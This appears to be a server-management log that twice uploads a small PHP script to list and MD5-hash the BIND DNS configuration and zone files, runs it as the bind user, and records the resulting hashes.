MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:45:13: Establishing a connection
2026-04-30 16:45:13: 

PUT: /tmp/pkp403594

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:45:13: 

runuser -l bind -s /bin/bash -c '/tmp/pkp403594; rm /tmp/pkp403594'

2026-04-30 16:45:13: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:45:15: Establishing a connection
2026-04-30 16:45:15: 

PUT: /tmp/pkp519706

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:45:15: 

runuser -l bind -s /bin/bash -c '/tmp/pkp519706; rm /tmp/pkp519706'

2026-04-30 16:45:15: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
